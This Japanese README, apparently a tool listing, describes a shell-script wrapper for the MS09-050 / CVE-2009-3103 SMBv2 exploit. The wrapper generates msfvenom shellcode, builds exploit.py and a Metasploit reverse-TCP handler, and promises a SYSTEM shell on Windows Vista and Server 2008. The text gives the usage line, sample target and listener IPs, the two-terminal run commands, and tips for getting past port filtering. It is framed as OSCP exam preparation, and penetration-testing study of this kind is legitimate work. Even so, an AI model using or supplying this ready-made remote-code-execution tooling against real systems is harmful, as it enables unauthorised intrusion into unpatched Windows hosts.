MS09-050 SMBv2 エクスプロイトラッパー

MS09-050 (CVE-2009-3103) エクスプロイトをワンライナーでセットアップ。面倒な作業もデバッグも不要で、そのまま動きます。

なぜ?

世に出回っているほとんどの MS09-050 スクリプトは、手動でのシェルコード注入が必要だったり、ハンドラとのタイミング問題があったり、単純に動作しなかったりします。このラッパーは以下のことを行います:

• 正しいパラメータでシェルコードを生成
• エクスプロイトを自動で構築
• すぐに使える Metasploit ハンドラを作成
• 実行すべき内容を正確に指示

時間が重要となる OSCP 対策のために作られました。

ターゲット

• 脆弱性: MS09-050 / CVE-2009-3103
• 影響を受けるOS: Windows Vista SP1/SP2、Windows Server 2008 (R2 以前)
• サービス: ポート 445 の SMBv2
• 結果: SYSTEM シェル

必要条件

• Kali Linux (または Metasploit が動作する任意のディストリビューション)
• msfvenom
• msfconsole
• python2
• rpcclient (通常はプリインストールされています)

使用方法

./ms09_050.sh <TARGET_IP> <YOUR_IP> [PORT]

例

./ms09_050.sh 192.168.233.40 192.168.45.232 443

出力:

[*] Target: 192.168.233.40 | LHOST: 192.168.45.232 | LPORT: 443
[*] Generating shellcode...
[+] Files created:
    - exploit.py
    - handler.rc

=== RUN ===

Terminal 1:  msfconsole -q -r handler.rc
Terminal 2:  python2 exploit.py 192.168.233.40

実行手順

1. ターミナル 1 - ハンドラを起動:

   root@kitploit:~

   msfconsole -q -r handler.rc
   

   待機: Started reverse TCP handler on ...

2. ターミナル 2 - エクスプロイトを実行:

   root@kitploit:~

   python2 exploit.py 192.168.233.40
   

3. ターミナル 1 でシェルを確認。

注記

• ステージドペイロード (windows/shell/reverse_tcp) を使用 - このエクスプロイトのステージャーと確実に動作
• エクスプロイトが失敗する場合、ターゲットの再起動が必要か、脆弱でない可能性があります
• 4444 がフィルタリングされている場合はポート 443 を推奨

クレジット

元のエクスプロイトは ohnozzy の MS09-050 PoC に基づいています。

ライセンス

MIT - 好きなように使ってください。ただし、悪用だけはしないでください。